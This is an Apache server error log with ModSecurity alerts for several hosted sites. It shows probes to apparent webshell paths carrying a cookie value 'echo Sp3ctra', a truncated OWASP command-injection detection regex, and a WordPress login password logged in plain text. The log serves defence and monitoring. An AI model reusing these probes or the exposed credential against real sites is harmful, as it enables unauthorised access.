[Fri Jul 17 09:22:38.124058 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:60056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:41.520885 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.31:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory96/node0/memory123/node0/memory91/"] [unique_id "almnCSRF0UOO1RzB5_8zHgAAAA4"]
[Fri Jul 17 09:22:41.520918 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.31:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory96/node0/memory123/node0/memory91/"] [unique_id "almnCSRF0UOO1RzB5_8zHgAAAA4"]
[Fri Jul 17 09:22:42.048028 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:42.163366 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 57.141.18.78:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory135/subsystem/devices/memory135/node0/memory0/subsystem/devices/memory138/subsystem/drivers_probe
[Fri Jul 17 09:22:43.080087 2026] [security2:error] [pid 1993671:tid 1993671] [client 154.61.75.100:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Millenniumagro123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almnCw5GPQ6hs4VrfMpHDwAAAAY"], referer: https://millenniumagro.lk/wp-login.php
[Fri Jul 17 09:22:43.080523 2026] [security2:error] [pid 1993671:tid 1993671] [client 154.61.75.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almnCw5GPQ6hs4VrfMpHDwAAAAY"], referer: https://millenniumagro.lk/wp-login.php
[Fri Jul 17 09:22:43.728294 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:43.728361 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:43.805062 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:43.855084 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:43.867525 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:50380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:43.954320 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:43.979664 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Vol 39 NO 09 English.pdf"] [unique_id "almnCzsMb3am0TgkjETflAAAAAo"]
[Fri Jul 17 09:22:43.979977 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Vol 39 NO 09 English.pdf"] [unique_id "almnCzsMb3am0TgkjETflAAAAAo"]
[Fri Jul 17 09:22:43.980287 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Vol 39 NO 09 English.pdf"] [unique_id "almnCzsMb3am0TgkjETflAAAAAo"]
[Fri Jul 17 09:22:44.048398 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:44.148270 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:44.264607 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:44.418089 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "secondcoffeeinternational.org"] [uri "/wp-plain.php"] [unique_id "almnDPwooI4qY7Jg93paRAAAABM"], referer: www.google.com
[Fri Jul 17 09:22:44.418159 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "secondcoffeeinternational.org"] [uri "/wp-plain.php"] [unique_id "almnDPwooI4qY7Jg93paRAAAABM"], referer: www.google.com
[Fri Jul 17 09:22:44.420703 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "secondcoffeeinternational.org"] [uri "/wp-plain.php"] [unique_id "almnDPwooI4qY7Jg93paRAAAABM"], referer: www.google.com
[Fri Jul 17 09:22:44.425665 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:22:44.425954 2026] [security2:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "secondcoffeeinternational.org"] [uri "/index.php"] [unique_id "almnDPwooI4qY7Jg93paRAAAABM"], referer: www.google.com
[Fri Jul 17 09:22:44.429625 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:22:44.430487 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:22:44.473947 2026] [security2:error] [pid 2030804:tid 2030804] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "secondcoffeeinternational.org"] [uri "/qevfxbra.php"] [unique_id "almnDIe39YUk0SgV8AU_NgAAABE"], referer: www.google.com
[Fri Jul 17 09:22:44.474969 2026] [security2:error] [pid 2030804:tid 2030804] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "secondcoffeeinternational.org"] [uri "/qevfxbra.php"] [unique_id "almnDIe39YUk0SgV8AU_NgAAABE"], referer: www.google.com
[Fri Jul 17 09:22:44.476632 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:22:44.477794 2026] [security2:error] [pid 2030804:tid 2030804] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "secondcoffeeinternational.org"] [uri "/index.php"] [unique_id "almnDIe39YUk0SgV8AU_NgAAABE"], referer: www.google.com
[Fri Jul 17 09:22:44.479701 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:22:44.521760 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:22:44.753376 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:44.955355 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:45.260012 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:45.359933 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:45.473683 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:45.762533 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:45.848344 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_36_no_16_english.pdf"] [unique_id "almnDYe39YUk0SgV8AU_OAAAABE"]
[Fri Jul 17 09:22:45.848871 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_36_no_16_english.pdf"] [unique_id "almnDYe39YUk0SgV8AU_OAAAABE"]
[Fri Jul 17 09:22:45.849375 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_36_no_16_english.pdf"] [unique_id "almnDYe39YUk0SgV8AU_OAAAABE"]
[Fri Jul 17 09:22:45.863535 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:45.966027 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:46.165958 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:46.266748 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:46.571788 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:47.177700 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:47.278396 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:47.457589 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_41_no_05-english.pdf"] [unique_id "almnD41dLClkUfK_dfHppwAAAAI"]
[Fri Jul 17 09:22:47.457929 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_41_no_05-english.pdf"] [unique_id "almnD41dLClkUfK_dfHppwAAAAI"]
[Fri Jul 17 09:22:47.458219 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_41_no_05-english.pdf"] [unique_id "almnD41dLClkUfK_dfHppwAAAAI"]
[Fri Jul 17 09:22:47.788027 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.249740 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.350814 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.450580 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.550643 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.653874 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.756169 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.650156 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.650193 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.650217 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.650238 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.650262 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.650282 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:48.819821 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_43_no_46-english.pdf"] [unique_id "almnEEkXT4NBqALj2laBzQAAABA"]
[Fri Jul 17 09:22:48.889702 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:49.651102 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_43_no_46-english.pdf"] [unique_id "almnEEkXT4NBqALj2laBzQAAABA"]
[Fri Jul 17 09:22:49.651373 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_43_no_46-english.pdf"] [unique_id "almnEEkXT4NBqALj2laBzQAAABA"]
[Fri Jul 17 09:22:49.673758 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:50.134659 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:50.136164 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:50.210965 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:50.242136 2026] [security2:error] [pid 1993671:tid 1993671] [client 154.61.75.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "millenniumagro.lk"] [uri "/wp-login.php"] [unique_id "almnCw5GPQ6hs4VrfMpHDwAAAAY"], referer: https://millenniumagro.lk/wp-login.php
[Fri Jul 17 09:22:50.413609 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:50.890934 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_47_no_06-english.pdf"] [unique_id "almnEg7FYe46zHK_jL3U5gAAABk"]
[Fri Jul 17 09:22:50.891335 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_47_no_06-english.pdf"] [unique_id "almnEg7FYe46zHK_jL3U5gAAABk"]
[Fri Jul 17 09:22:50.891675 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_47_no_06-english.pdf"] [unique_id "almnEg7FYe46zHK_jL3U5gAAABk"]
[Fri Jul 17 09:22:50.918533 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:51.018703 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:51.119722 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:51.322924 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/cpu3/node0/distance"] [unique_id "almnE7EWOaI5pmYo9fnTlwAAAAA"]
[Fri Jul 17 09:22:51.322962 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/driver/cpu3/node0/distance"] [unique_id "almnE7EWOaI5pmYo9fnTlwAAAAA"]
